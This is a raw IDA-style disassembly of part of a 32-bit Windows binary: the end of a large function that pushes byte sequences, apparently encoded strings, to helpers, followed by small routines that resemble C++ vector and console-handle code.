lea ecx, [esi+11EBh]
mov byte ptr [esp+arg_384], 42h
push ecx
mov ecx, esi
call sub_401B9F
lea ecx, [esp-30h+arg_40]
mov byte ptr [esp-30h+arg_384], bl
call sub_4011F9
lea ecx, [esp-30h+arg_154]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp-18h+arg_38], esp
push eax
call sub_4017A8
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3Ch+arg_40]
push 13h
push edx
mov byte ptr [esp+44h+arg_384], 43h
call sub_4018DE
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp-18h+arg_384], 44h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+arg_3C], esp
push eax
call sub_4017A8
lea eax, [esi+11A2h]
mov ecx, esi
push eax
mov byte ptr [esp+4+arg_384], 45h
call sub_401B9F
lea ecx, [esp-30h+arg_40]
mov byte ptr [esp-30h+arg_384], bl
call sub_4011F9
lea ecx, [esp-30h+arg_94]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp-18h+arg_38], esp
push eax
call sub_4017A8
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+4Ch+arg_40]
push 13h
push ecx
mov byte ptr [esp+54h+arg_384], 46h
call sub_4018DE
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp-18h+arg_384], 47h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+arg_3C], esp
push eax
call sub_4017A8
lea edi, [esi+10C7h]
mov ecx, esi
push edi
mov byte ptr [esp+4+arg_384], 48h
call sub_401B9F
lea ecx, [esp-30h+arg_40]
mov byte ptr [esp-30h+arg_384], bl
call sub_4011F9
lea ecx, [esp-30h+arg_16C]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp-18h+arg_38], esp
push eax
call sub_4017A8
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
mov byte ptr [esp+2Ch+arg_384], 49h
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+44h+arg_40]
push 13h
push edx
call sub_4018DE
add esp, 64h
mov ecx, eax
mov byte ptr [esp-18h+arg_384], 4Ah
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+arg_3C], esp
push eax
call sub_4017A8
lea eax, [esi+1159h]
mov ecx, esi
push eax
mov byte ptr [esp+4+arg_384], 4Bh
call sub_401B9F
lea ecx, [esp-30h+arg_40]
mov byte ptr [esp-30h+arg_384], bl
call sub_4011F9
lea ecx, [esp-30h+arg_70]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp-18h+arg_38], esp
push eax
call sub_4017A8
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+40h+arg_40]
push 13h
push ecx
mov byte ptr [esp+48h+arg_384], 4Ch
call sub_4018DE
add esp, 60h
mov ecx, eax
mov byte ptr [esp-18h+arg_384], 4Dh
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+arg_3C], esp
push eax
call sub_4017A8
lea edx, [esi+12C6h]
mov ecx, esi
push edx
mov byte ptr [esp+4+arg_384], 4Eh
call sub_401B9F
mov byte ptr [esp-30h+arg_384], bl
lea ecx, [esp-30h+arg_40]
call sub_4011F9
lea eax, [esp-30h+arg_3C]
mov ecx, offset dword_47FFE8
push eax
mov [esp-2Ch+arg_3C], edi
call sub_40197E
push 2BFFF4h
push 55FFFAh
call sub_40102D
add esp, 8
lea ecx, [esp-30h+arg_1FC]
call sub_4013CF
lea ecx, [esp-30h+arg_244]
mov byte ptr [esp-30h+arg_384], 4Fh
call sub_4013CF
push 6AFFFDh
push 757FFEh
mov byte ptr [esp-28h+arg_384], 50h
call sub_402018
add esp, 8
lea ecx, [esp-30h+arg_1FC]
push eax
push 3ABFFFh
push ecx
call sub_40102D
push 1D5FFFh
push 0EAFFFh
call sub_402018
add esp, 14h
lea edx, [esp-30h+arg_244]
push eax
push 757FFh
push edx
call sub_40102D
sub esp, 0Ch
lea eax, [esp-18h+arg_58]
mov ecx, esp
mov [esp-18h+arg_38], esp
push eax
call sub_40146F
lea ecx, [esi+606h]
push ecx
mov ecx, esi
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_58]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+64Fh]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_58]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+897h]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_70]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+450h]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_70]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+499h]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_58]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+52Bh]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_58]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+574h]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_58]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+0B28h]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_70]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+8E0h]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_244]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+3BEh]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_19C]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+407h]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_DC]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+5BDh]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_13C]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+698h]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_28C]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+72Ah]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_10C]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+6E1h]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
mov ecx, esp
mov [esp-18h+arg_38], esp
push 3ABFFh
call sub_40146F
lea ecx, [esi+251h]
push ecx
mov ecx, esi
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_F4]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+29Ah]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_22C]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+2E3h]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_1E4]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+32Ch]
mov ecx, esi
push eax
call sub_401A37
sub esp, 18h
lea edx, [esp-18h+arg_1FC]
mov ecx, esp
mov [esp-18h+arg_38], esp
push edx
call sub_40146F
lea eax, [esi+375h]
mov ecx, esi
push eax
call sub_401A37
push 0
mov edi, 280EAFh
call sub_401415
mov ecx, [eax]
add ecx, 16Dh
call sub_401726
push eax
push 1C0757h
mov edx, 0A6701Dh
call sub_401528
push 0
mov ecx, 0A5B380h
call sub_401415
mov ecx, [eax]
add ecx, 1B6h
call sub_401726
push eax
push 52D9C0h
mov ecx, 0C9696Ch
call sub_401528
push 0
mov esi, 0E4B4Bh
call sub_401415
mov ecx, [eax]
call sub_401726
push eax
push 725A5h
mov edx, 392Dh
call sub_401528
push 0
mov edx, 6001C9h
call sub_401415
mov ecx, [eax]
add ecx, 124h
call sub_401726
push eax
push 3800E4h
mov esi, 85C007h
call sub_401528
push 0
mov eax, 0EA1700h
call sub_401415
mov ecx, [eax]
add ecx, 0DBh
call sub_401726
push eax
push 750B80h
mov ebp, 0E2BD42h
call sub_401528
push 0
mov eax, 0EE2BD4h
call sub_401415
mov ecx, [eax]
add ecx, 92h
call sub_401726
push eax
push 7F15EAh
mov ebp, 0EFF15Eh
call sub_401528
push 0
mov edx, 0FFFC5h
call sub_401415
mov ecx, [eax]
add ecx, 1FFh
call sub_401726
push eax
push 0FFFE2h
mov esp, 88FFFEh
call sub_401528
lea ecx, [esp-30h+arg_1CC]
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp-18h+arg_38], esp
push eax
call sub_4017A8
lea ecx, [esp-18h+arg_274]
mov byte ptr [esp-18h+arg_384], 51h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+arg_88], esp
push eax
call sub_4017A8
lea ecx, [esp+arg_2A4]
mov byte ptr [esp+arg_384], 52h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+18h+arg_8C], esp
push eax
call sub_4017A8
lea ecx, [esp+18h+arg_25C]
mov byte ptr [esp+18h+arg_384], 53h
call sub_401726
sub esp, 18h
mov ecx, esp
mov [esp+30h+arg_90], esp
push eax
call sub_4017A8
mov edi, 4E63FFh
mov byte ptr [esp+30h+arg_384], 50h
call sub_40132F
lea ecx, [esp-30h+arg_244]
mov byte ptr [esp-30h+arg_384], 4Fh
call sub_4011F9
lea ecx, [esp-30h+arg_1FC]
mov byte ptr [esp-30h+arg_384], bl
call sub_4011F9
lea ecx, [esp-30h+arg_70]
mov byte ptr [esp-30h+arg_384], 1Dh
call sub_4011F9
lea ecx, [esp-30h+arg_58]
mov byte ptr [esp-30h+arg_384], 1Ch
call sub_4011F9
lea ecx, [esp-30h+arg_10C]
mov byte ptr [esp-30h+arg_384], 1Bh
call sub_4011F9
lea ecx, [esp-30h+arg_2BC]
mov byte ptr [esp-30h+arg_384], 1Ah
call sub_4011F9
lea ecx, [esp-30h+arg_2EC]
mov byte ptr [esp-30h+arg_384], 19h
call sub_4011F9
lea ecx, [esp-30h+arg_28C]
mov byte ptr [esp-30h+arg_384], 18h
call sub_4011F9
lea ecx, [esp-30h+arg_2D4]
mov byte ptr [esp-30h+arg_384], 17h
call sub_4011F9
lea ecx, [esp-30h+arg_13C]
mov byte ptr [esp-30h+arg_384], 16h
call sub_4011F9
lea ecx, [esp-30h+arg_1E4]
mov byte ptr [esp-30h+arg_384], 15h
call sub_4011F9
lea ecx, [esp-30h+arg_16C]
mov byte ptr [esp-30h+arg_384], 14h
call sub_4011F9
lea ecx, [esp-30h+arg_214]
mov byte ptr [esp-30h+arg_384], 13h
call sub_4011F9
lea ecx, [esp-30h+arg_19C]
mov byte ptr [esp-30h+arg_384], 12h
call sub_4011F9
lea ecx, [esp-30h+arg_DC]
mov byte ptr [esp-30h+arg_384], 11h
call sub_4011F9
lea ecx, [esp-30h+arg_1CC]
mov byte ptr [esp-30h+arg_384], 10h
call sub_4011F9
lea ecx, [esp-30h+arg_274]
mov byte ptr [esp-30h+arg_384], 0Fh
call sub_4011F9
lea ecx, [esp-30h+arg_2A4]
mov byte ptr [esp-30h+arg_384], 0Eh
call sub_4011F9
lea ecx, [esp-30h+arg_25C]
mov byte ptr [esp-30h+arg_384], 0Dh
call sub_4011F9
lea ecx, [esp-30h+arg_34C]
mov byte ptr [esp-30h+arg_384], 0Ch
call sub_4011F9
lea ecx, [esp-30h+arg_304]
mov byte ptr [esp-30h+arg_384], 0Bh
call sub_4011F9
mov byte ptr [esp-30h+arg_384], 0Ah
lea ecx, [esp-30h+arg_31C]
call sub_4011F9
lea ecx, [esp-30h+arg_334]
mov byte ptr [esp-30h+arg_384], 9
call sub_4011F9
lea ecx, [esp-30h+arg_364]
mov byte ptr [esp-30h+arg_384], 8
call sub_4011F9
lea ecx, [esp-30h+arg_94]
mov byte ptr [esp-30h+arg_384], 7
call sub_4011F9
lea ecx, [esp-30h+arg_22C]
mov byte ptr [esp-30h+arg_384], 6
call sub_4011F9
lea ecx, [esp-30h+arg_F4]
mov byte ptr [esp-30h+arg_384], 5
call sub_4011F9
lea ecx, [esp-30h+arg_C4]
mov byte ptr [esp-30h+arg_384], 4
call sub_4011F9
lea ecx, [esp-30h+arg_AC]
mov byte ptr [esp-30h+arg_384], 3
call sub_4011F9
lea ecx, [esp-30h+arg_124]
mov byte ptr [esp-30h+arg_384], 2
call sub_4011F9
lea ecx, [esp-30h+arg_154]
mov byte ptr [esp-30h+arg_384], 1
call sub_4011F9
lea ecx, [esp-30h+arg_184]
mov byte ptr [esp-30h+arg_384], 0
call sub_4011F9
lea ecx, [esp-30h+arg_1B4]
mov [esp-30h+arg_384], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp-30h+arg_37C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
add esp, 350h
retn
sub_407E8F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 580h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_408FB0 proc near ; CODE XREF: sub_401415j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_40189D
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_408FC8
mov ecx, esi
call sub_401834
loc_408FC8: ; CODE XREF: sub_408FB0+Fj
mov ecx, esi
call sub_401951
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_408FB0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_408FF0 proc near ; CODE XREF: sub_40197Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401258
push eax
mov ecx, esi
call sub_4015FF
pop esi
retn 4
sub_408FF0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409020 proc near ; CODE XREF: sub_401951j
mov eax, [ecx+4]
retn
sub_409020 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409040 proc near ; CODE XREF: sub_401258j
mov eax, [ecx+8]
retn
sub_409040 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409060 proc near ; CODE XREF: sub_40189Dj
mov edx, [ecx+4]
test edx, edx
jnz short loc_40906A
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40906A: ; CODE XREF: sub_409060+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_409060 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409090 proc near ; CODE XREF: sub_4015FFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401951
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_401AA5
mov ecx, edi
call sub_401951
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_409090 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4090E0: ; CODE XREF: sub_401834j
push 0FFFFFFFFh
push 2731FFh
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push 5398FFh
call dword ptr ds:69CC7Fh
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
call dword ptr ds:34E63Fh
lea edx, [esp+14h]
push 1A731Fh
push edx
call sub_430382
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409160 proc near ; CODE XREF: sub_401AA5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40922B
mov ecx, esi
call sub_40189D
cmp edi, eax
jnb short loc_409193
mov ecx, esi
call sub_40189D
mov ebp, eax
jmp short loc_409195
; ---------------------------------------------------------------------------
loc_409193: ; CODE XREF: sub_409160+26j
mov ebp, edi
loc_409195: ; CODE XREF: sub_409160+31j
mov ecx, esi
call sub_40189D
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401B8B
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_401645
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_401154
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_401645
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_401677
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_40125D
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_40189D
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40922B: ; CODE XREF: sub_409160+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_409289
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_401645
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_401154
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401E42
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409289: ; CODE XREF: sub_409160+D8j
test edi, edi
jbe short loc_4092C3
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_401645
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_401BA9
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401E42
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_4092C3: ; CODE XREF: sub_409160+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409160 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409330 proc near ; CODE XREF: sub_401677j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_409350
loc_409341: ; CODE XREF: sub_409330+1Ej
push esi
mov ecx, edi
call sub_401F00
add esi, 4
cmp esi, ebx
jnz short loc_409341
loc_409350: ; CODE XREF: sub_409330+Fj
pop edi
pop esi
pop ebx
retn 8
sub_409330 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409370 proc near ; CODE XREF: sub_40125Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_430332
pop ecx
retn 8
sub_409370 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409390 proc near ; CODE XREF: sub_401F00j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_2
pop ecx
retn 4
sub_409390 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4093B0 proc near ; CODE XREF: sub_401645j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_4093E2
push edi
mov edi, [esp+10h+arg_8]
loc_4093C6: ; CODE XREF: sub_4093B0+27j
push esi
push edi
mov ecx, ebx
call sub_40153C
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_4093C6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4093E2: ; CODE XREF: sub_4093B0+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_4093B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409400 proc near ; CODE XREF: sub_401154j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_409427
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_409416: ; CODE XREF: sub_409400+23j
push ebx
push esi
mov ecx, ebp
call sub_40153C
add esi, 4
dec edi
jnz short loc_409416
pop esi
pop ebx
loc_409427: ; CODE XREF: sub_409400+Aj
pop edi
pop ebp
retn 0Ch
sub_409400 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409440 proc near ; CODE XREF: sub_401B8Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401ED3
add esp, 8
retn 8
sub_409440 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409470 proc near ; CODE XREF: sub_40153Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401127
add esp, 8
retn 8
sub_409470 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4094A0 proc near ; CODE XREF: sub_401E42j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_4094BD
mov edx, [esp+arg_8]
push esi
loc_4094B1: ; CODE XREF: sub_4094A0+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_4094B1
pop esi
locret_4094BD: ; CODE XREF: sub_4094A0+Aj
retn
sub_4094A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4094D0 proc near ; CODE XREF: sub_401BA9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_4094F2
mov eax, [esp+arg_8]
push esi
loc_4094E1: ; CODE XREF: sub_4094D0+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_4094E1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4094F2: ; CODE XREF: sub_4094D0+Aj
mov eax, [esp+arg_8]
retn
sub_4094D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409530 proc near ; CODE XREF: sub_401ED3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40953A
xor eax, eax
loc_40953A: ; CODE XREF: sub_409530+6j
shl eax, 2
push eax
call sub_43034A
add esp, 4
retn
sub_409530 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409560 proc near ; CODE XREF: sub_401127j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011A4
add esp, 8
test eax, eax
jz short locret_40957B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40957B: ; CODE XREF: sub_409560+11j
retn
sub_409560 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409590 proc near ; CODE XREF: sub_4018A2j
arg_0 = dword ptr 4
mov al, ds:byte_43FFF2
push esi
test al, al
mov esi, ecx
jz short loc_4095C6
push edi
call dword ptr ds:0D398Fh
mov edi, ds:dword_4B38F0
push 0FFFFFFF5h
call edi
push 0FFFFFFF4h
mov [esi], eax
call edi
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], eax
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_4095C6: ; CODE XREF: sub_409590+Aj
mov ecx, [esp+4+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], ecx
pop esi
retn 4
sub_409590 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409600 proc near ; CODE XREF: sub_401BB8j
mov al, ds:byte_43FFF2
push esi
test al, al
mov esi, ecx
jz short loc_40961F
call ds:dword_469CC7
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0FFFFFFFFh
loc_40961F: ; CODE XREF: sub_409600+Aj
mov byte ptr [esi+8], 0
pop esi
retn
sub_409600 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409640 proc near ; CODE XREF: sub_4013CFj
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_437010
mov [eax+9], ecx
mov [eax+11h], ecx
mov [eax+4], cl
mov [eax+0Dh], ecx
retn
sub_409640 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409670: ; CODE XREF: _294ADE7B:00401EF6j
; _294ADE7B:loc_401FE1j
push esi
mov esi, ecx
call sub_4011F9
test byte ptr [esp+8], 1
jz short loc_409688
push esi
call sub_430332
add esp, 4
loc_409688: ; CODE XREF: _294ADE7B:0040967Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4096A0 proc near ; CODE XREF: sub_4017A8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_437010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401564
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_4096A0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4096E0 proc near ; CODE XREF: sub_40146Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_437010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401E65
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_4096E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409720 proc near ; CODE XREF: sub_401F73j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push ebx
push esi
mov esi, ecx
push eax
